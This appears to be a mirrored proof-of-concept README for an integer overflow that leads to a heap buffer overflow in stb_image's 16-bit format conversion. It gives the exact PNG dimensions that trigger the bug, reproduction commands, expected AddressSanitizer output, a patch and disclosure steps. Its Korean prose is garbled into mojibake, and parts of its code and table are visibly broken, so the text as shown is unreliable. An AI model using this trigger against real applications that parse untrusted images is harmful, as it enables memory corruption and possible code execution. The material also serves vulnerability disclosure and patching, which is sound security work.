Share
## https://sploitus.com/exploit?id=F3D17176-5D0C-5566-B8CB-429DE0FE6CFF
# PoC โ€” `stb_image` v2.30 `stbi__convert_format16` integer overflow โ†’ heap buffer overflow

๋Œ€์ƒ: [`nothings/stb`](https://github.com/nothings/stb) โ€” `stb_image.h` v2.30 (ํ˜„์žฌ ํŠธ๋ ํฌ head, 2026-05 ๊ธฐ์ค€)
์ทจ์•ฝ ์œ„์น˜: `stb_image.h` ๋ผ์ธ 1820, ํ•จ์ˆ˜ `stbi__convert_format16`
์นดํ…Œ๊ณ ๋ฆฌ: **CWE-190** (Integer Overflow) โ†’ **CWE-122** (Heap-based Buffer Overflow)
์˜ํ–ฅ: heap memory corruption, ์ž ์žฌ์  RCE
๊ฒ€์ฆ: Linux x86_64 + glibc + AddressSanitizer

## ๊ฒฐํ•จ ์š”์•ฝ

```c
static stbi__uint16 *stbi__convert_format16(stbi__uint16 *data, int img_n, int req_comp, unsigned int x, unsigned int y)
{
   ...
   good = (stbi__uint16 *) stbi__malloc(req_comp * x * y * 2);   // โ† ๊ฒ€์ฆ ์—†๋Š” 32-bit ๊ณฑ์…ˆ
   ...
   for (j=0; j = 0; --i, src += a, dest += b) { ... }
      STBI__CASE(1,4) { dest[0]=src[0]; dest[1]=src[0]; dest[2]=src[0]; dest[3]=0xffff; } break;
      ...
   }
}
```

`req_comp * x * y * 2`๋Š” **signed 32-bit `int`** ์‚ฐ์ˆ . ํ˜ธ์ถœ์ž(`stbi__do_png` ๋“ฑ)๋Š”
๋””์ฝ”๋“œ๋œ raw ์‚ฌ์ด์ฆˆ๋งŒ ๊ฒ€์ฆํ•˜๊ณ  **req_comp ์ ์šฉ ํ›„์˜ ์‚ฌ์ด์ฆˆ๋Š” ๊ฒ€์ฆํ•˜์ง€ ์•Š๋Š”๋‹ค**.

## ํŠธ๋ฆฌ๊ฑฐ ์‹œ๋‚˜๋ฆฌ์˜ค (PNG 16-bit grayscale)

| ๋‹จ๊ณ„ | ๊ฐ’ | ๊ฒ€์ฆ ํ†ต๊ณผ? |
|---|---|---|
| IHDR x, y, depth, color | 16384, 32768, 16, 0 (grayscale) | โœ“ |
| IHDR sanity `(1out` alloc | 2^30 bytes (1 GB, ์ •์ƒ alloc) | โœ“ |
| zlib decompress | ๋ชจ๋‘ 0 โ†’ ์••์ถ•๋ฅ  99%, ๋””์Šคํฌ PoC ~์ˆ˜์‹ญ KB | โœ“ |
| `stbi__convert_format16(out, 1, 4, 16384, 32768)` ํ˜ธ์ถœ | โ€” | โ€” |
| **`req_comp * x * y * 2 = 4 ร— 16384 ร— 32768 ร— 2 = 0x100000000`** | signed int wrap โ†’ **0** | โ˜… |
| `stbi__malloc(0)` | glibc โ†’ ์ž‘์€ valid pointer (16-byte chunk ๋“ฑ) | โ€” |
| ๋ณ€ํ™˜ ๋ฃจํ”„ `STBI__CASE(1,4)` ์ฒซ iteration | `good[0]=โ€ฆ, good[3]=0xffff` write | **OOB heap write** |

ASan์€ ์ฒซ iteration `dest[0] = src[0]` ๋˜๋Š” `dest[3] = 0xffff` ์‹œ์ ์— immediate
heap-buffer-overflow๋ฅผ ๋ณด๊ณ ํ•ฉ๋‹ˆ๋‹ค.

## ํŒŒ์ผ ๊ตฌ์„ฑ

| ํŒŒ์ผ | ์„ค๋ช… |
|---|---|
| `generate_poc_png.py` | 16-bit grayscale 16384ร—32768 PNG (์•…์„ฑ, ~์ˆ˜ MB) ์ƒ์„ฑ๊ธฐ |
| `poc.c` | `stb_image.h` ๋‹จ๋… ํ˜ธ์ถœ์ž (req_comp=4 ๊ฐ•์ œ) |
| `build_and_run.sh` | upstream `stb_image.h` ํŽ˜์น˜ โ†’ ASan ๋นŒ๋“œ โ†’ PoC ์‹คํ–‰ |
| `README.md` | ์ด ๋ฌธ์„œ |

## ์žฌํ˜„ (Linux)

```bash
chmod +x build_and_run.sh
./build_and_run.sh
```

๋˜๋Š” ์ˆ˜๋™:

```bash
wget https://raw.githubusercontent.com/nothings/stb/master/stb_image.h
python3 generate_poc_png.py poc.png
gcc -O0 -g -fsanitize=address poc.c -o poc -lm
./poc poc.png
```

## ํ™˜๊ฒฝ ์š”๊ตฌ์‚ฌํ•ญ

- Linux x86_64 (๋˜๋Š” ARM64), glibc
- gcc ๋˜๋Š” clang (`-fsanitize=address` ์ง€์›)
- python3
- ~2 GB ๊ฐ€์šฉ RAM (1 GB raw image buffer + ASan shadow ~25%)
- ~30 MB ๋””์Šคํฌ (์••์ถ•๋œ PNG)

Windows์—์„œ๋Š” ASan ๋™์ž‘์ด ๋‹ค๋ฅด๊ณ  64-bit malloc(0) ๋™์ž‘์ด ์•ฝ๊ฐ„ ๋‹ฌ๋ผ ๊ฒ€์ฆ์€ Linux์—์„œ ์ˆ˜ํ–‰ ๊ถŒ์žฅ.

## ์˜ˆ์ƒ ASan ์ถœ๋ ฅ (์š”์•ฝ)

```
==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x... at pc 0x...
WRITE of size 2 at 0x... thread T0
    #0 0x... in stbi__convert_format16 .../stb_image.h:18XX
    #1 0x... in stbi__do_png .../stb_image.h:5280
    #2 0x... in stbi__png_load .../stb_image.h:5295
    #3 0x... in stbi_load_16 .../stb_image.h:1295
    #4 0x... in main .../poc.c:48
0x... is located 0 bytes to the right of 16-byte region [0x..., 0x...)
allocated by thread T0 here:
    #0 0x... in malloc
    #1 0x... in stbi__malloc .../stb_image.h:1043
    #2 0x... in stbi__convert_format16 .../stb_image.h:1820
```

## ์˜ํ–ฅ ๋ถ„์„

- **Severity**: High. heap metadata ์ธ์ ‘ chunk ๋ฎ์–ด์“ฐ๊ธฐ ๊ฐ€๋Šฅ โ†’ ์ž ์žฌ์  RCE.
- **๊ณต๊ฒฉ ํ‘œ๋ฉด**: `stb_image`๋Š” ๊ฒŒ์ž„ ์—”์ง„/์ด๋ฏธ์ง€ ๋„๊ตฌ/์ž„๋ฒ ๋””๋“œ ํ™˜๊ฒฝ์—์„œ ๋งค์šฐ ๊ด‘๋ฒ”์œ„ํ•˜๊ฒŒ ์“ฐ์ด๋Š” single-header ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ. ์‹ ๋ขฐ๋˜์ง€ ์•Š์€ PNG/PSD/PNM ์ž…๋ ฅ์„ ๋ฐ›๋Š” ๋ชจ๋“  ์ฝ”๋“œ๊ฐ€ ์˜ํ–ฅ.
- **์ƒ์‹œ reproducible**: PNG 16-bit grayscale + `stbi_load*` with `req_comp=4`. ์ถ”๊ฐ€๋กœ PSD 16-bit ์ผ๋ถ€ ๊ฒฝ๋กœ ๋ฐ PNM 16-bit ๊ฒฝ๋กœ๋„ ์œ ์‚ฌ trigger ๊ฐ€๋Šฅ (PNG ๊ฒฝ๋กœ๊ฐ€ PoC ์‚ฌ์ด์ฆˆ๊ฐ€ ๊ฐ€์žฅ ์ž‘์Œ).

## ํŒจ์น˜ ์ œ์•ˆ

`stbi__convert_format16` ์ง„์ž…๋ถ€์— ๊ณฑ์…ˆ ๊ฒ€์ฆ์„ ์ถ”๊ฐ€:

```c
static stbi__uint16 *stbi__convert_format16(stbi__uint16 *data, int img_n, int req_comp, unsigned int x, unsigned int y)
{
   int i, j;
   stbi__uint16 *good;

   if (req_comp == img_n) return data;
   STBI_ASSERT(req_comp >= 1 && req_comp <= 4);

   /* Validate the conversion size: req_comp * x * y * 2 must fit in INT_MAX. */
   if (!stbi__mad3sizes_valid(req_comp, (int)x, (int)y, 0) ||
       !stbi__mul2sizes_valid(req_comp * (int)x * (int)y, 2)) {
      STBI_FREE(data);
      return (stbi__uint16 *) stbi__errpuc("too large", "Image conversion too large");
   }

   good = (stbi__uint16 *) stbi__malloc((size_t)req_comp * x * y * 2);
   ...
}
```

๋˜๋Š” ๋” ๊ฐ„๊ฒฐํ•˜๊ฒŒ `stbi__malloc_mad4(req_comp, x, y, 2, 0)`๋กœ ๊ต์ฒด.

`stbi__convert_format` (8-bit ๋ฒ„์ „, ๋ผ์ธ 1799 ๊ทผ๋ฐฉ)๋„ ๋™์ผ ํŒจํ„ด์ด๋ฏ€๋กœ ํ•จ๊ป˜ ๊ฒ€ํ†  ๊ถŒ์žฅ.

## Disclosure

์ฑ…์ž„ ์žˆ๋Š” disclosure ์ ˆ์ฐจ:
1. nothings/stb GitHub ์ €์žฅ์†Œ์— ๋น„๊ณต๊ฐœ security advisory (Security tab โ†’ Report a vulnerability)
2. ๋˜๋Š” ๋ฉ”์ธํ…Œ์ด๋„ˆ(Sean Barrett, @nothings)์—๊ฒŒ ์ง์ ‘ ์ด๋ฉ”์ผ/์ด์Šˆ
3. CVE ์‹ ์ฒญ (MITRE ๋˜๋Š” GHSA ์ž๋™๋ฐœ๊ธ‰)

## ๋ผ์ด์„ ์Šค

์ด PoC๋Š” stb ๋ผ์ด์„ ์Šค(Public Domain / MIT-0)์™€ ํ˜ธํ™˜๋˜๋„๋ก ๋™์ผ ์กฐ๊ฑด์œผ๋กœ ๋ฐฐํฌํ•ฉ๋‹ˆ๋‹ค. ๋ณด์•ˆ ์—ฐ๊ตฌ ๋ชฉ์ ์œผ๋กœ๋งŒ ์‚ฌ์šฉํ•˜์„ธ์š”.